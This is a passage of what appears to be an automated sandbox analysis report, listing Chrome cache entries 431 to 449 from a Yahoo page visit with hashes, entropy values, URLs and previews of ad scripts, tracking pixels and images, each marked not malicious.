Preview:	{"ads":[{"adPosition":"MAST","adSize":"970x250","preTapAdFormat":"TEXT","template":" MAST template -->\n<style media=\"screen\">\n .act-sans-select{cursor: pointer;-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}\n #act-adContainer {overflow: hidden;position: relative;width: 100%;height: 250px;background-color:#FAFDFF; border-radius: 4px;width: 970px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);}\n #act-adContent {position: absolute;width: 100%;height: 100%;}\n #act-ad {font: 12px \"Helvetica Neue\",Helvetica,Arial,sans-serif;right: 20px;top: 13px;text-align: right;color: #6e7780;}\n #content {position: absolute;left: 496px;width: calc(100% - 501px);color: black;font: 26px \"Helvetica Neue\",Helvetica,Arial,sans-serif;font-weight: bold; top: 50%; transform: translateY(-50%);}\n #act-shade {opacity: 0.7;-moz-box-shadow: inset 0 0 8px #000000;-webkit-box-shadow: inset 0 0 8

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12647), with no line terminators
Category:	downloaded
Size (bytes):	12647
Entropy (8bit):	5.207766081943398
Encrypted:	false
SSDEEP:	384:3iuQlq2TtwcbFesZ9+KnosE+wTzWTLxXUJsI5vxU8ZW:Shl1bFesZ9+KbTdE37U8ZW
MD5:	EA64A20375ABF74F7191D89062A7D4F4
SHA1:	C9BDEFA03E2D67328C222300AF7D588ADC045B11
SHA-256:	EE6AC88FCDDA8E39410E1E291495B9F5ADEB2EC3E95069FB4D50964093DE53A9
SHA-512:	C7D7C92942CCA382C7CF3CF968CA60044058EA33350DF765CE149F730E1D03028F352403B4BCA4F9AB69B7020E2AAF4171F14879BA7D468CD25B9778896B0133
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-rapid-1.10.8-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-rapid",[],t):"object"==typeof exports?exports["wafer-rapid"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-rapid"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 72, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	7.763598788410441
Encrypted:	false
SSDEEP:	24:tE18rshgbc3xtnee6jtTln6li6OvjcARaInltdmmGG0I5kCr/G7:rrsCbc3xtextl6pObcARaIXmmGhIG7
MD5:	DD31F56B9E4DFF40EB87447C3DC55B84
SHA1:	1908B34AF2D15440D33DFC81FCB93AA9B271DC58
SHA-256:	4F47EF8FF3DAD2A78360AB207CF35FF2905622511C0426109F6E225052CF5637
SHA-512:	057D2DCD66C48A2BB43D7B62BC38E4DACD3D7F3FDAA103AF178FDBC737BE91A81A369158BF02AB59C46F507F538536D01D5FC179D681375F9B77EE814E544407
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png
Preview:	.PNG........IHDR.......H............3PLTEGpL..................................................a....tRNS......=..T.v.h.#......IDATx^... ..9J...?m.....eL.ig..w.8.O.I.U.....(.S....R..I8N...\...=...yw`..I...(p...P...k.....<d...)oP{..;p..N...C...X).....,.v.N..>..9..0.,....>.....w1K........0......}.B.....&.J.......t..Q.....mn...,....=. ..<.)4.1..(.(H...O.....[.u^~c;.L...8."....k.q...6d....X.....wFs.,y!..b....j.........,.'F..C....CP2.'.$.M..A.].>.`m9.`...H<..Va.%SD6.0......a...W..p".q.P..a..yik...f..e..fe.<>.s..S... .%...N....<zaX...4..A..\lV.K......<'.G.D.duq..i........{.......M..f.3......?...4..d!..k.........C$...b.Y.RwC.Q.a....'..p.k..@x..{`o.r..7..K.-..D.k.J.....R"..0E).p../..0X...N....J.2.....n..j~v..HuA.sK._..feg....Ib...0....\...U....0k.J.....'....s.+5.k1...!.x^wl..&....P.6...\~....E...^..'wm...#U..p{.l.~.....i.......t..?..q..<%...d....WN\."[........5...Y....[.QH..$.k>....."........t#..W........&..</.y...+ .w.X...!...}..G.......q...E$..:..v..

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=baidu_mediago&google_hm=22210ca7d904fe7322qnsv00lr8eukx3
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.496574330097901
Encrypted:	false
SSDEEP:	3:C/2A3njBWk9JyiA:C/nXjB7A
MD5:	1B177A4068E01AC77B85B091C87251BD
SHA1:	EA7A08A7C139D4A7512B6BAAB5AAC4A3E288B255
SHA-256:	F77F47058428A1C21DAD5A75AC13FBFDEB9858947218FEE2112FDED5972A0B5D
SHA-512:	6E6D693775AA9C94540D0CA0549C98446048189D49A3716895F62C3EFE3893F0B28FEDACDCD46394782B7972D0B981E87EA291E76EF2490258FCABA2A0906D92
Malicious:	false
Reputation:	low
URL:	https://gum.criteo.com/sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId
Preview:	window.advBidxc.mnetRtusId({"status":"Unknown","userid":""});

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.835812887167012
Encrypted:	false
SSDEEP:	3:YEOBHty8HCUdxJrkdgn:YEOBdhd3Ugn
MD5:	1A2E6DAE55867E27902227621FBD606E
SHA1:	1E002F260829576FB16DFA9B22679A1B4622A196
SHA-256:	7B70D7B16A52B9A33C44AB5F8E70464E408B4BCB9E4356F6C5BB90A2AB2B2AFD
SHA-512:	5E803931F68B573BB4FB437A329A055A4829406CD39B1CE56C46C4E41E7E938054D8E7AC3A4C7974DEFB3192A33B0E4424558BF2D8568F2D170A0D9F41C67B9F
Malicious:	false
Reputation:	low
Preview:	{"axid": "eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B"}

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.1751231351134614
Encrypted:	false
SSDEEP:	3:RWWMLGoWoX1:jMLGoWoF
MD5:	0DE65A816E5D966222F1981F4BEF4133
SHA1:	F556E06887047A75439DE24ED1041D8ED9698E01
SHA-256:	1BD8703D9DD2A10CCA49E6A4CDBEB588CEFA6424A5E6E2FF9C2AABE56DD797DB
SHA-512:	405D0EFA3A0B2F70B2735910586C12BF7C821710D798967E4B492293321C3B0E55896B5BFB9EEAE943B291EDBFF6AC7BE5146978CD872788D12C628DF462E172
Malicious:	false
Reputation:	low
Preview:	Missing ads array

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30837), with no line terminators
Category:	downloaded
Size (bytes):	30837
Entropy (8bit):	5.278495831782497
Encrypted:	false
SSDEEP:	768:ojtkE9xZiffOOHew4hrlirhwme3Un0vHEQ6Xf0y3nIZdEf352YT:2nx8f2xw4HiriHZy3YQp
MD5:	698C2E383831B3E3FDA6895026D87C5A
SHA1:	666E080D37CEEC591CC250AEB13466C8C2AE26ED
SHA-256:	9A7394871ABBFC5EAF0A8D34DBD3DB6EB06AB1595CA124D31F640A6E9C77A90D
SHA-512:	060CBAED64DA149465A93E585870B124750EEC5271F0333D22F12D50D4130B1D4116D5BC417BF4766252B96A43442D4F3A384217BD296955A7DCE9F04239F5D8
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-video-2.22.15-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-video",[],t):"object"==typeof exports?exports["wafer-video"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-video"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(a){if(i[a])return i[a].exports;var n=i[a]={i:a,l:!1,exports:{}};return e[a].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var i={};return t.m=e,t.c=i,t.d=function(e,i,a){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:a})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,i){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	10566
Entropy (8bit):	7.911665733732446
Encrypted:	false
SSDEEP:	192:jaGVwUGhpGejpcmgge8ZsRnCihS3Sl5zY6YYeyUgtKtKPNGeloP/Mhend:jfiU4GS9gg4lPh/li6YYeydKKFtSXTd
MD5:	BB7DBE3AB8733756C82C4AFA8A0113D6
SHA1:	2201C39DF0CA3E0E9C986FD0DDDD62C536D8DC47
SHA-256:	3356EECA104C885C0FBDDE3F6324F728C079E6AA0222F7128736E30481B804F4
SHA-512:	AEF581654B6F2335BD526A92AEEDC0EB92DDF5B0F91B62FDE4A36C83C3821EA0AF90F7B6CED49F08FE689BABF721D852A7E6C4B8695BB0399E06CA78DCAD2CB7
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/Kstf7xcrcLS_DLgjPNI.Lw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/44284b40-afef-11ee-98df-d7a77341121b.cf.webp
Preview:	RIFF>)..WEBPVP8X.... ...c.....ICCP0......0ADBE....mntrRGB XYZ ............acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 1999 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 .&.......d...>y6.H$......@...M.'..t...Cv~................Z....{.~.~....../.).........oPo.....X...U...........Z.../...........V../.x.D.?......]F.....>.@....>.?..I._.....~-.h.{.E........V=.=y......s...a.T...v.VO.........W.......1(...~0\|D......G...........n.A..@..&.../s..Z\.....B.R.....r?....vB.A..Lry.)iI.EX....2.^^.....>..F2....Q".Km.\.IV..,~Q....za.`....CC.^.....#.?..>...9A..

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1615), with no line terminators
Category:	downloaded
Size (bytes):	1615
Entropy (8bit):	5.020901609734713
Encrypted:	false
SSDEEP:	48:g5Ww5dw4MwlZEa09wmSitQjw4EHG9cBKtVns8RHtm:W5aUl/06mukja7Htm
MD5:	12732500BC8E47693F0D777BBE88001C
SHA1:	97865CCE1C0CD35BAC8AC4B42DC9C6C394DA4809
SHA-256:	A03F9A37E34771C42CF7930B2F466EA2077D149F6DBA0E81982E7715A87DD8EF
SHA-512:	9ED4368E2415EDEFA87BB461BE701E268F93C076852660B2F3B2E661C25D66CDDDA0DBC236410361935365DD954FE1DDF07541CB44557DE25E85FB73BC2FE2BD
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js
Preview:	window.addEventListener("load",(function(){var t="featurebarId",e=document.getElementsByClassName("react-wafer-Featurebar")[0];if(e){if(e.classList&&e.classList.contains&&e.classList.contains("auto-close")){var a=e.getElementsByClassName("featurebar-content")[0],s=a&&a.getElementsByTagName("a")[0],n=s&&s.getAttribute("data-uuid"),o=function(t){var e;try{e=JSON.parse(window.localStorage.getItem(t))\|\|{}}catch(t){}return e}(t);if(n!==o)e.classList.remove("D(n)"),Array.prototype.slice.call(e.getElementsByClassName("featurebar-close-button")).forEach((function(e){e.addEventListener("click",(function(){!function(t,e){try{window.localStorage.setItem(t,JSON.stringify(e))}catch(t){}}(t,n)}))}))}if(e.classList&&e.classList.contains&&e.classList.contains("auto-play")){var r=window.getComputedStyle(e).height,l=Array.prototype.slice.call(e.getElementsByClassName("featurebar-content")),i=0,c=(i+1)%l.length;function u(){setTimeout((function(){l[i].style.transitionDuration=".8s",l[i].style.transform="

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (19025)
Category:	downloaded
Size (bytes):	22298
Entropy (8bit):	5.3764837141666835
Encrypted:	false
SSDEEP:	384:d1kT06WQ6GV4tv0lMGg2geQtfnHN5pOEiXz4wDQjZvy99PYQWwY4RXrqt:PG1WMtCGsOvz4wDQjZvy/PYQWwY4RXrU
MD5:	73E1C776A71292232BE05379304A09F3
SHA1:	54B99A467AB9C78DA802D2F4A70BBEEF9DBD5499
SHA-256:	9702E041DD602004FD0A2FAE7EB89BC0C5A0BD09C6E39BD6BC2AF4B376FCDA6A
SHA-512:	7AF91F22DB733E0157ECF422A051B9ABDF121DE6F58C9DCCE8DEED3163B6A48F0A276CC8C1FF6004314C2AFF61A3449D65B497A5BFAF50881292B54DDEC24E90
Malicious:	false
Reputation:	low
URL:	https://hb.yahoo.net/checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014%2C25082%2C25113%2C25307%2C25308%2C25309%2C25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":25,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":15552000,"cc":"US","zone":" e ","coc":"NA"},"cs":"1","lookup":{"mn":{"name":"mn","time":180,"cookie":"data-mn","urls":[{"type":"other","url":"https:\/\/cs.media.net\/cksync?cs=3&type=yhb&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&redirect=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dmn%26ovsid%3D%3Cvsid1%3E%26axid_e%3D${AXID_E}","eu_url":null}],"pvid":25000,"isBl":0,"g":1,"cocs":0},"58160":{"name":58160,"time":365,"cookie":"data-mag","urls":[{"type":"other","url":"https:\/\/pixel.rubiconproject.com\/exchange\/sync.php?p=oath&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&gpp=${GPP_STRING_142}&gpp_sid=${GPP_SID}","eu_url":null}],"pvid":25013,"isBl":0,"g":1,"cocs":0},"55953":{"name":55953,"time":14,"cookie":"data-ttd","urls":[{"type":"other","url":"https:\/\/match.adsrvr.org\/track

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/px.gif?ch=1&rn=9.953686578481904
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 72, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.763598788410441
Encrypted:	false
SSDEEP:	24:tE18rshgbc3xtnee6jtTln6li6OvjcARaInltdmmGG0I5kCr/G7:rrsCbc3xtextl6pObcARaIXmmGhIG7
MD5:	DD31F56B9E4DFF40EB87447C3DC55B84
SHA1:	1908B34AF2D15440D33DFC81FCB93AA9B271DC58
SHA-256:	4F47EF8FF3DAD2A78360AB207CF35FF2905622511C0426109F6E225052CF5637
SHA-512:	057D2DCD66C48A2BB43D7B62BC38E4DACD3D7F3FDAA103AF178FDBC737BE91A81A369158BF02AB59C46F507F538536D01D5FC179D681375F9B77EE814E544407
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......H............3PLTEGpL..................................................a....tRNS......=..T.v.h.#......IDATx^... ..9J...?m.....eL.ig..w.8.O.I.U.....(.S....R..I8N...\...=...yw`..I...(p...P...k.....<d...)oP{..;p..N...C...X).....,.v.N..>..9..0.,....>.....w1K........0......}.B.....&.J.......t..Q.....mn...,....=. ..<.)4.1..(.(H...O.....[.u^~c;.L...8."....k.q...6d....X.....wFs.,y!..b....j.........,.'F..C....CP2.'.$.M..A.].>.`m9.`...H<..Va.%SD6.0......a...W..p".q.P..a..yik...f..e..fe.<>.s..S... .%...N....<zaX...4..A..\lV.K......<'.G.D.duq..i........{.......M..f.3......?...4..d!..k.........C$...b.Y.RwC.Q.a....'..p.k..@x..{`o.r..7..K.-..D.k.J.....R"..0E).p../..0X...N....J.2.....n..j~v..HuA.sK._..feg....Ib...0....\...U....0k.J.....'....s.+5.k1...!.x^wl..&....P.6...\~....E...^..'wm...#U..p{.l.~.....i.......t..?..q..<%...d....WN\."[........5...Y....[.QH..$.k>....."........t#..W........&..</.y...+ .w.X...!...}..G.......q...E$..:..v..

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 268x142, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	11522
Entropy (8bit):	7.981687094241578
Encrypted:	false
SSDEEP:	192:zuNfJL1ns3oSOOSOEHgobqd7uVnPEdUBJnb9arRKkQ8HD5m1eDDPK1:zyhL1iOeBobs7c8dmnbGKkQIAyw
MD5:	4D666BE3BBA78588C5B1E716279D5887
SHA1:	A56B25EE1344CB3D2896466CCA3F5DF109CDB38B
SHA-256:	0A3AADC045444DDE0F336C0CDA1F814D555C00B24A944C5F3609299EA2FB577F
SHA-512:	1DAD52848E18F151DF3BD9FDC15E09F3F71E49619F6D08814157A12F3DF18A5CBD494C9A37FACF93AA384E33D0B38A70391B0BDC4896AC072525C7BA7FA68BFF
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/J7SrLbVORhOwvVMDOguVjQ--~B/Zmk9c3RyaW07aD0xNDI7cT05NTt3PTI2ODthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/popular_mechanics_642/0973f80037db8e5fa7ca77dcb63b6750.cf.webp
Preview:	RIFF.,..WEBPVP8 .,..0........>...A!......q,l...E.....y..oW......nz..k.?..........7..`...>d.r}\}6.^.....W.[......o.....~4y.....v..._....=.?.........c...G.o..?.x..G..P.........u......{....^.~......W...._.G..p/..?.~t.......^...?....p...w...?u_W...M.....G.o.......=.~.{:..'.....^.EX....u.J.......z..:{.....R.P{5x.lL.{.../E...G.j....".~]..B.x.\|..?~.L.y...oJ.[)..>_`.EP]..._.l.TJO.[.It...n...O:6#`.$. ..4yw#..2..x..YT[......^....[.Y..5w.>Xc]..Ny.1w..(....[?"m @T.m.3[%.1.$.....2.O...\nOa..t..JZZ.2..WS......b....,.8........&..P{J..L......e..z:....<.d/%Q...."..K.c....Ta...C%.....c.0.Y...e...Z..(....=..Z.y.......x........ 8g.8.L.....M.?..p.......$....3.........c.Us..j.6@...S.].;..)q.p.=H..........R.PaYy....5...g.@..^.+n........f$\|....Y.&Frd.S9.b.vY.c..@........B.?........_...q...P.Z..S..3...@r..D...P>.$......k......o....f...O..;......t.......!.Uk3....-....Q..m.M..fOKx..Xl...l.M.y.`.H.s..`i................e.....v?.t.>.,..f.}w.6)a]@......"YN.&.{xE..

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3653), with no line terminators
Category:	downloaded
Size (bytes):	3653
Entropy (8bit):	5.627369952930373
Encrypted:	false
SSDEEP:	48:CcCjecbhs/Znt53dmpGBYVMJOB0iedCKAHIsGJdNa0BlsC8t5nC5lTKyIq:CdqctsJdOPY7dCbIsyyC78te5mq
MD5:	A33CD0B581EAAB13F12A3F999BC7C1DB
SHA1:	5F6986642F635B7694BACC334FB3C14A78DA32FB
SHA-256:	335D7820529FEB83BB54F9C1351A1B511C354E5EEF6257F1BC44BD51E676CC9E
SHA-512:	A3BC99B62EACD2DE9FA954EDFD5B8D05D4B4C96B04B6D82DB260527163684DF23AAD11724DA95AD7ADBDD640DAB1D7E689C52EFDF63270491B769761BCBE0D90
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=97973536&p=156078&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://ib.adnxs.com/getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pubmatic-match.dotomi.com/match/bounce/current?networkId=17100&version=1&nuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.deepintent.com/usersync/141?gdpr=0&gdpr_

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	149336
Entropy (8bit):	7.496490218548733
Encrypted:	false
SSDEEP:	3072:1SERAbS2HYOmf1uZYB58lwhf+sNdkSWHGcZOqDsAF:1VW7HYOvZA58XMdfWfZCU
MD5:	8F1C7F5187E8E78FDB31A5E6C688E803
SHA1:	64B1EF52851B1C5B130BD7FC12576329D1738F0D
SHA-256:	0598E13041B04BD01DC5E5849ABEBAC0E253BBAC3EC6BDC71CA62B84100717F4
SHA-512:	B5F744E0AF9D4736B542060471404E074FCA5769FFEBEF2BECD0A311329BAE985B97FFB52247E571EE0C2A9B7A99CB3FD5D91F21BD807A09D0A45FB651D12217
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-close-202105050733.wav:2f6d360df5bbd5:0
Preview:	RIFFPG..WAVEfmt ........D... b.... .data.....r.6.>.7..6!'.7...5...7BU...O.7...FE.7D...7Ud...MQ7.;J.7&.7..t.j..6. ....)6m...x..O...?..eH..........7.5....m.........P..........L...%J....9...u,.........H=......H=..j0..>....3...Y.......+..Ud........ ..>..G".M..r.".....!.....s......FE...v......._..~....Pz..L....O.....r.".....k..5......y............5m..?.6.....6&.`.\|.$7..-..MQ7.>..{7...._.7....v.7.k.6..7.\.6y..7..7..7$.<7D..7k.j7...7..7...7m.7...8.n.7 ..8...7...8.~.79..8k..7.x.8.1.74i.8...8...84i.8.+.8Q..8...7...8...7...8k..7~..8...7._.8...7...8G..7o..8...7[..8Ud.7C..8.L.7...8..o7.C.7j.E7.>.7A..7H..70F.6.@.7..6j..7BU.5.O.7Ud..m.7..~.. .7.!..>s7.~..~.H7..=.K..7D.e.0F.6......6#R.....5.J......&..............`...w...?0.h8!..".;.O.;i..<7..<+L.<..<.(.<...<...=6#.=..9=.\:=J.T=F.U=.:h=..h=..s=..t=.x=..y=..y=+Rz=Kzw=p.x=\.o=QMp=..d=..d=..\=.e]=..d=.Xe=.Q~=..~=...=.g.="{.=..=..=.#.=N.=.(.=4.=.1.=...=.i.=...={..=p.=.,.=[..=..=.O.=...=.e.=J.=...=...=...=

Chrome Cache Entry: 449

Download File

